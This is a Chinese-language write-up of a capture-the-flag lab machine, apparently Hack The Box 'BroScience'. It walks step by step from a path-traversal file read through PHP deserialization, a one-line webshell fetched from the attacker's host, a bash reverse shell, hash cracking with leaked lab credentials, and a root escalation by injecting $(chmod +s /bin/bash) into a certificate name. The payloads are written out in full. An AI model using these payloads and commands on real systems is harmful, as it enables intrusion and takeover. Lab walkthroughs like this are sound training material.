01
信息收集
使用nmap对靶场地址进行端口嗅探,靶场仅对外开放SSH(22)和WEB(80、443)服务。
sudo nmap -sT -p- --min-rate 10000 10.129.228.129
sudo nmap -sV -sC -p 22,80,443 10.129.228.129
访问80端口,页面跳转至https://broscience.htb/域名访问。
在/etc/hosts添加broscience.htb域名解析路径。
sudo vim /etc/hosts
# broscience.htb
10.129.228.129 broscience.htb
查看Web页面为以下内容如下。
点击左上角“LOG IN”,进入https://broscience.htb/login.php登录页面,点击“Create an account”进入https://broscience.htb/register.php用户注册页面。
注册账户,页面返回“帐户已创建。请检查您的电子邮件以获取激活链接。”。
使用注册用户进行登录,未能登录成功。
使用dirsearch对https://broscience.htb/进行目录扫描结果如下,除刚研究的login.php,register.php外,比较有价值的就是https://broscience.htb/includes/,该目录内包含一些文件。
02
文件读取
在https://broscience.htb/includes/img.php页面提示缺少“path”参数。
构造path参数,页面返回报错信息。
推测该接口可能存在文件读取漏洞,访问https://broscience.htb/includes/img.php?path=/etc/passwd页面返回拦截信息“Error: Attack detected.”。
使用wfuzz对接口进行fuzz测试。
wfuzz -u "https://broscience.htb/includes/img.php?path=FUZZ" -w dotdotpwn.txt --hh 0 --hs Attack
-u 指向请求地址
-w 字典
-hh 隐藏0字节的响应包
-hs 隐藏匹配到指定正则的响应包
# 字典下载地址
https://github.com/foospidy/payloads
在FUZZ的同时发现该path路径为首页图片的加载地址。
在Burpsuite的repeater模块中访问请求FUZZ结果链接,发现可以成功获取到/etc/passwd文件。Web页面存在文件读取漏洞。
也可以通过curl验证文件读取漏洞。
curl -k https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
通过https://broscience.htb/includes/img.php?path=..%252fincludes/img.php读取到img.php源代码,源代码中对请求参数中的../,etc/passwd,.ssh做了黑名单限制。
访问https://broscience.htb/includes/img.php?path=..%252fincludes/db_connect.php,读取到数据库连接凭据,在端口嗅探中未发现5432端口开放,故该凭据目前无法使用。
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("Error: Unable to connect to database");
}
?>
访问https://broscience.htb/includes/img.php?path=..%252fincludes/navbar.php,获得navbar.php源代码。
<?php
include_once "includes/utils.php";
?>
<nav class="uk-navbar-container uk-margin uk-navbar-transparent <?=get_theme_class()?>">
<div class="uk-container uk-container-expand">
<div class="uk-navbar" uk-navbar>
<div class="uk-navbar-left">
<a href="/" class="uk-navbar-item uk-logo">BroScience</a>
</div>
<div class="uk-navbar-right">
<?php
// Check if user is logged in
if (isset($_SESSION['id'])) {
echo '<div class="uk-navbar-item"><a href="swap_theme.php" class="uk-link-text"><span uk-icon="icon: paint-bucket"></span></a></div>';
echo "<div class=\"uk-navbar-item\">Logged in as <a class=\"uk-link-text\" href=\"user.php?id={$_SESSION['id']}\"><b>".htmlspecialchars($_SESSION['username'],ENT_QUOTES,'UTF-8')."</b></a></div>";
echo '<ul class="uk-navbar-nav"><li><a href="logout.php">Log Out</a></li></ul>';
} else {
echo '<ul class="uk-navbar-nav"><li><a href="login.php">Log In</a></li></ul>';
}
?>
</div>
</div>
</div>
</nav>
访问https://broscience.htb/includes/img.php?path=..%252fincludes/utils.php,获得utils.php源代码。分析源代码,utils.php主要由一些函数构成,其中“function get_theme()”中用到了序列化和反序列化的转换,“class AvatarInterface”存在魔法函数__wakeup()。
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
$to = (($to === null) ? (time()) : ($to));
$to = ((is_int($to)) ? ($to) : (strtotime($to)));
$from = ((is_int($from)) ? ($from) : (strtotime($from)));
$units = array
(
"year" => 29030400, // seconds in a year (12 months)
"month" => 2419200, // seconds in a month (4 weeks)
"week" => 604800, // seconds in a week (7 days)
"day" => 86400, // seconds in a day (24 hours)
"hour" => 3600, // seconds in an hour (60 minutes)
"minute" => 60, // seconds in a minute (60 seconds)
"second" => 1 // 1 second
);
$diff = abs($from - $to);
if ($diff < 1) {
return "Just now";
}
$suffix = (($from > $to) ? ("from now") : ("ago"));
$unitCount = 0;
$output = "";
foreach($units as $unit => $mult)
if($diff >= $mult && $unitCount < 1) {
$unitCount += 1;
// $and = (($mult != 1) ? ("") : ("and "));
$and = "";
$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
$diff -= intval($diff / $mult) * $mult;
}
$output .= " ".$suffix;
$output = substr($output, strlen(", "));
return $output;
}
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
访问https://broscience.htb/includes/img.php?path=..%252fuser.php,获得user.php源代码。
<?php
session_start();
// Is it a proper request?
if (isset($_GET['id'])) {
if (!empty($_GET['id'])) {
if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "get_user_query", 'SELECT username, email, is_activated::int, is_admin::int, date_created FROM users WHERE id = $1');
$res = pg_execute($db_conn, "get_user_query", array($_GET['id']));
if (pg_num_rows($res) > 0) {
$row = pg_fetch_row($res);
} else {
$alert = "No user with that ID";
}
} else {
$alert = "Invalid ID value";
}
} else {
$alert = "Empty ID value";
}
} else {
$alert = "Missing ID value";
}
?>
<html>
<head>
<title>BroScience : <?php if (isset($row)) {echo htmlspecialchars($row[0],ENT_QUOTES,'UTF-8');} else {echo "View user";}?></title>
<?php
include_once 'includes/header.php';
include_once 'includes/utils.php';
$theme = get_theme();
?>
<link rel="stylesheet" href="styles/<?=$theme?>.css">
</head>
<body class="<?=get_theme_class($theme)?>">
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
if (isset($row)) {
?>
<h1 class="uk-heading-small"><?=htmlspecialchars($row[0],ENT_QUOTES,'UTF-8')?></h1>
<!-- TODO: Avatars -->
<dl class="uk-description-list">
<dt>Member since</dt>
<dd><?=rel_time($row[4])?></dd>
<dt>Email Address</dt>
<dd><?=$row[1]?></dd>
<dt>Total exercises posted</dt>
<dd>
<?php
$res = pg_prepare($db_conn, "get_num_exercises_query", 'SELECT COUNT(*) FROM exercises WHERE author_id = $1');
$res = pg_execute($db_conn, "get_num_exercises_query", array($_GET['id']));
$row2 = pg_fetch_row($res);
echo $row2[0];
?>
</dd>
<dt>Total comments posted</dt>
<dd>
<?php
$res = pg_prepare($db_conn, "get_num_comments_query", 'SELECT COUNT(*) FROM comments WHERE author_id = $1');
$res = pg_execute($db_conn, "get_num_comments_query", array($_GET['id']));
$row3 = pg_fetch_row($res);
echo $row3[0];
?>
</dd>
<dt>Is activated</dt>
<dd>
<?=(bool)$row[2]?'Yes':'No'?>
</dd>
<dt>Is admin</dt>
<dd>
<?=(bool)$row[3]?'Yes':'No'?>
</dd>
</dl>
<?php
// Check if we are logged in
if (isset($_SESSION['id'])) {
if ($_SESSION['id'] === $_GET['id'] || $_SESSION['is_admin']) {
// We are logged in as this user, add the edit form
?>
<hr>
<form class="uk-form-stacked" method="POST" action="update_user.php">
<fieldset class="uk-fieldset">
<legend class="uk-legend">Edit User</legend>
<div class="uk-margin">
<input name="username" class="uk-input" type="text" placeholder="New username">
</div>
<div class="uk-margin">
<input name="email" class="uk-input" type="email" placeholder="New email">
</div>
<div class="uk-margin">
<input name="password" class="uk-input" placeholder="New password">
</div>
<div class="uk-margin">
<button class="uk-button uk-button-default" type="submit">Update</button>
</div>
<input type="hidden" name="id" value="<?=$_GET['id']?>">
</fieldset>
</form>
<?php
}
}
}
?>
</div>
</body>
</html>
分析user.php,发现通过构造id参数访问https://broscience.htb/user.php?id=1,可以遍历出用户信息。
administrator
bill
michael
john
dmytro
访问https://broscience.htb/includes/img.php?path=..%252fregister.php,获得register.php源代码,查看注册完成时的activation link激活功能模块。发现激活链接“https://broscience.htb/activate.php?code={$activation_code}”中的$activation_code由includes/utils.php页面中generate_activation_code()函数生成。
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
// Check if variables are empty
if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
// Check if passwords match
if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
// Check if email is too long
if (strlen($_POST['email']) <= 100) {
// Check if email is valid
if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
// Check if username is valid
if (strlen($_POST['username']) <= 100) {
// Check if user exists already
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
$res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
if (pg_num_rows($res) == 0) {
// Check if email is registered already
$res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
$res = pg_execute($db_conn, "check_email_query", array($_POST['email']));
if (pg_num_rows($res) == 0) {
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
$alert_type = "success";
} else {
$alert = "Failed to generate a valid activation code, please try again.";
}
} else {
$alert = "An account with this email already exists.";
}
}
else {
$alert = "Username is already taken.";
}
} else {
$alert = "Maximum username length is 100 characters.";
}
} else {
$alert = "Please enter a valid email address.";
}
} else {
$alert = "Maximum email length is 100 characters.";
}
} else {
$alert = "Passwords do not match.";
}
} else {
$alert = "Please fill all fields in.";
}
}
?>
<html>
<head>
<title>BroScience : Register</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<form class="uk-form-stacked" method="POST" action="register.php">
<fieldset class="uk-fieldset">
<legend class="uk-legend">Register</legend>
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
<div class="uk-margin">
<input name="username" class="uk-input" placeholder="Username">
</div>
<div class="uk-margin">
<input name="email" class="uk-input" type="email" placeholder="Email">
</div>
<div class="uk-margin">
<input name="password" class="uk-input" type="password" placeholder="Password">
</div>
<div class="uk-margin">
<input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
</div>
<div class="uk-margin">
<button class="uk-button uk-button-default" type="submit">Register</button>
</div>
</fieldset>
</form>
</div>
</body>
</html>
03
获取www-data权限
我们可以尝试在账户注册时,通过includes/utils.php页面中generate_activation_code()函数生成activation_code,并通过https://broscience.htb/activate.php?code={$activation_code}进行账户激活。
# register.php中相关代码片段
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
# utils.php中相关代码片段
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time()); //srand() 函数播种随机数生成器,time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数。
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
在https://broscience.htb/register.php注册用户,从响应包中获取DATA。
Sun, 16 Apr 2023 03:38:57 GMT
因为执行generate_activation_code()时为用户注册后的校验阶段,故原time()应该为注册时间,及注册用户的响应包“DATA”字段。且因为程序在处理函数时可能会与返回的“DATA”字段存在出入,可以增加一个循环,生成该"DATA"字段前后30秒的code,通过枚举激活注册账户,代码如下:
<?php
function generate_activation_code($new_time) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($new_time);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
$time = strtotime('Sun, 16 Apr 2023 03:12:15 GMT');
for ($new_time = $time - 30; $new_time <= $time + 30; $new_time ++){
$activation_code = generate_activation_code($new_time);
echo $activation_code."\n";
}
?>
使用wfuzz对codes.txt枚举,成功激活注册用户。
wfuzz -u https://broscience.htb/activate.php?code=FUZZ -w codes.txt --hh 1256
使用注册用户登录,成功登入。
登录成功后查看cookie信息,疑似user-prefs字段值为base64编码,使用base64解码,获取到cookie明文。
echo "Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30%3D" | base64 -d
O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";}
继续分析utils.php,以下函数说明cookie中'user-prefs'的生成方式,base64_encode(serialize(new UserPrefs())),涉及了序列化和反序列化。
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
以下代码片段说明文件的写入过程,其中包含了 __construct()、__wakeup()等魔术方法。
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
上面我们已经知道了cookie的生成方式,我们可以利用“class AvatarInterface”的__wakeuo()魔术方法及“public function save()”函数的写入文件功能,将恶意payload生成恶意的“user-prefs”cookie,程序经过反序列化“user-prefs”cookie,将webshell写入网站。
class Avatar {
public $imgPath; // cmd.php
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) { // http://10.10.14.23:8000/cmd.php
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$AvatarInterface = new AvatarInterface();
$AvatarInterface->tmp = "http://10.10.14.23:8000/cmd.php";
$AvatarInterface->imgPath = "cmd.php";
$cookie = base64_encode(serialize($AvatarInterface));
echo $cookie;
?>
在kali制作一句话木马cmd.php,并在当前目录下使用python开启http服务,等待连接下载。
# 在cmd.php写入一句话木马
echo '<?php system($_GET["cmd"]); ?>' >cmd.php
# 查看一句话木马
cat cmd.php
# python开启HTTP服务
python3 -m http.server
使用Burpsuite对注册用户登录首页进行抓包,将cookie中“user-prefs”字段替换为刚生成的恶意payload,重放数据包。可以看到python开启http服务收到了3条连接信息。
Cookie: PHPSESSID=ltrdjhfgahlavo87jptt8os7eq; user-prefs=TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMToiaHR0cDovLzEwLjEwLjE0LjIzOjgwMDAvY21kLnBocCI7czo3OiJpbWdQYXRoIjtzOjk6Ii4vY21kLnBocCI7fQ==
访问https://broscience.htb/cmd.php?cmd=id,页面返回uid=33(www-data) gid=33(www-data) groups=33(www-data) ,获取到www-data权限。
上传的cmd.php容易被清除,需要重放替换“user-prefs”字段的数据包方可正常执行命令。这里将执行反弹shell命令,反弹出一个稳定的shell。
# kali使用nc开启9002端口监听
nc -lvnp 9002
# 在cmd.php中执行反弹shell,注意要将&编码为%26
https://broscience.htb/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.23/9002 0>%261'
查看家目录发现存在bill用户,但是无权限读取bill用户桌面的user.txt。
使用netstat查看无法查看到网络连接情况,且无法退出命令执行,还不是完全的交互式shell。
04
获取bill权限
通过命令将shell升级为交互式shell,重新查看网络连接情况,发现postgresql数据库运行,可以通过之前获得的凭据登录postgresql数据库。
netstat -ap tcp
使用db_connect.php中的凭据成功进入postgresql数据库。
psql -h 127.0.0.1 -U dbuser -d broscience
查看user数据表,发现存在5行数据,且存在密码字段,其中包括bill用户。
select * from users;
id | username | password | email | activation_code | is_activated | is_admin | dat
1 | administrator | 15657792073e8a843d4f91fc403454e1 | [email protected] | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | [email protected] | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | [email protected] | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | [email protected] | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | [email protected] | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13
同时在register.php中可以得知用户密码字段由md5($db_salt . $_POST['password'])方式加密,且$db_salt值在db_connect.php中定义为"NaCl"。以此可以爆破出bill账户的口令。
# 以下片段说明数据库中密码字段为md5($db_salt . $_POST['password'])加密方式
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
# 在db_connect.php有$db_salt的值
$db_salt = "NaCl";
使用hashcat成功爆破出bill账户凭据。
hashcat 13edad4932da9dbb57d9cd15b66ed104:NaCl /usr/share/wordlists/rockyou.txt -m 20
# 凭据信息
bill:iluvhorsesandgym
在端口嗅探中得知靶场开放22端口,使用bill账户进行ssh登录,成功获取到bill账户权限,在bill账户桌面获得user.txt。
ssh [email protected]10.129.228.129
05
获取root权限
执行"sudo -l"命令,未发现sudo配置不当,无法通过sudo进行提权。
将pspy64通过上传至靶机,并运行pspy64对系统进行信息收集。发现定时计划任务中存在root权限执行的/opt/renew_cert.sh。
查看/opt/renew_cert.sh脚本内容,发现该脚本主要为检查证书是否在一天内过期,如一天内过期,则重新生成一个有效期为365天的temp.crt证书,并将该证书替换原来的certificate.crt证书。
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
在第54行可以发现存在变量“$commonName”,而“$commonName”变量引自第24行“commonName=$(echo $subject | grep -Eo 'CN = .*,?')”。我们可以利用openssl生成一个新证书,在填写Common Name这一栏时加入恶意代码。
# 进入/home/bill/Certs/目录
cd /home/bill/Certs/
# 生成有效期为1天(86400)的证书,证书名为broscience.crt
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 1
# 设置Common Name为恶意payload
$(chmod +s /bin/bash)
待计划任务执行,/bin/bash成功增加SUID和GUID权限。
ls -al /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
执行“/bin/bash -p”,成功获取root权限。
在root用户家目录获取到root.txt。
游戏结束。